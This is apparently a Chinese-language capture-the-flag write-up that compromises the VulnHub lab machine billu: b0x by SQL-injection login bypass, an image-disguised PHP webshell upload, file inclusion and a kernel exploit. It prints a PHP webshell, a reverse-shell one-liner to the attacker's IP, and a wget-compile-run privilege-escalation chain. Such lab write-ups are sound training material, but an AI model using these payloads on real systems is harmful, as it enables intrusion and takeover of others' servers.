一、思路及简介

靶机地址:billu: b0x ~ VulnHub

思路

  • 主机发现
  • 端口扫描
  • web信息收集
  • sql注入
  • 文件包含
  • 文件上传
  • 代码审计
  • 内核提权

攻击kali机ip:192.168.43.130

靶机ip:192.168.43.144

二、主机发现

arp-scan -l

来样子使用arp找到靶机

image-20240729193040983

三、端口扫描

nmap -sV 192.168.43.144 -sC 

-sC 脚本扫描

发现存在web页面

image-20240729193359879

四、sql注入(思路一)

进入发现提示有sql注入,但是sqlmap没有跑成功

使用burp爆破暴力破解手段,进行注入

4.1、burp注入

将账号和密码设置位变量

账号的字典使用kali自带的sql注入字典,路径为

/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt

image-20240729194702001

image-20240729194847940

字典二使用burp自带的sql注入字典,burp专业版才能使用这个字典

image-20240729195207526

过滤一下失败的,方便查看结果

image-20240729200105756

发现sql注入成功,这些每一个都能登录成功

image-20240729200207447

发现有上传点

image-20240729200155513

五、文件上传

image-20240729200256840

发现存在文件上传点,构造一个一句话木马用来执行命令

<?php system($_GET['a']); ?>

发现不能直接上传php文件

image-20240729200705186

经过尝试发现需要伪造成图片格式,才能上传成功

所以更改后缀名,content-type类型,构造图片头

image-20240729200922385

发现上传成功,但是不能直接执行,借助burp执行命令

webshell地址

http://192.168.43.144/uploaded_images/1.png

image-20240729201307946

六、php反弹shell

由于环境是php的,所以进行反弹shel,但是发现不编码,反弹不成功,于是进行url编码

php -r '$sock=fsockopen("192.168.43.130",8888);exec("/bin/bash -i <&3 >&3 2>&3");
php%20-r%20'%24sock%3Dfsockopen(%22192.168.43.130%22%2C8888)%3Bexec(%22%2Fbin%2Fbash%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B'

成功反弹shell

image-20240729202032551

七、内核提权

常规手段查看一下靶机系统内核版本,发现之前好像见过这个版本的

uname -a

image-20240729202147728

直接查找是否存在利用脚本,发现脚本

利用python web服务将提起脚本传递到目标靶机上

searchsploit 3.13.0
cp /usr/share/exploitdb/exploits/linux/local/37292.c /home/kali/Desktop
python -m http server 8000

image-20240729202638402

将靶机目录切换的tmp目录下,不然在他那个默认页面没有写入权限

利用wget下载后,授予执行权限

然后进行编译

执行

cd /tmp
wget http://192.168.43.130:8000/37292.c
chmod +x 37292.c
gcc 37292.c -o exp
./exp

一套流程下来,发现提权成功

image-20240729210356516

八、目录扫描(思路二)

简单介绍一下这个思路

常规手段进行目录扫描,然后逐个进行访问查看,寻找可利用点

dirsearch -u "http://192.168.43.144/" 

发现一个phpmy那个phpmyadmin的登录页面,但是不知道密码

image-20240729204851861

九、文件包含&&代码审计

经过尝试发现存在文件包含

在这里可以看到index.php的源代码,可以看到那个登录sql的语句,这里我忘记截图了,感兴趣的话,可以自己去查看读取一下

image-20240729205516029

尝试去读取其他文件

发现一个mysql的账号密码

image-20240729210540004

拿到phpmy登录尝试,发现登录成功

image-20240729210733057

十、phpmy进行目录扫描

正常应该对每发现的目录都进行一次目录扫描,可能又会意想不到的收获

dirsearch -u "http://192.168.43.144/phpmy"

发现存在新的php文件

image-20240729210820180

读取phpmy下新的php文件

image-20240729210937751

发现一个账号密码,而且用户名十root,在phpmy页面尝试没有登录成功

十一、ssh连接

直接进行ssh连接尝试,发现登录成功

第二种方式,几乎没有使用的到任何攻击,纯靠信息搜集就拿到了root权限

root
roottoor

image-20240729211107837

image-20240729211056036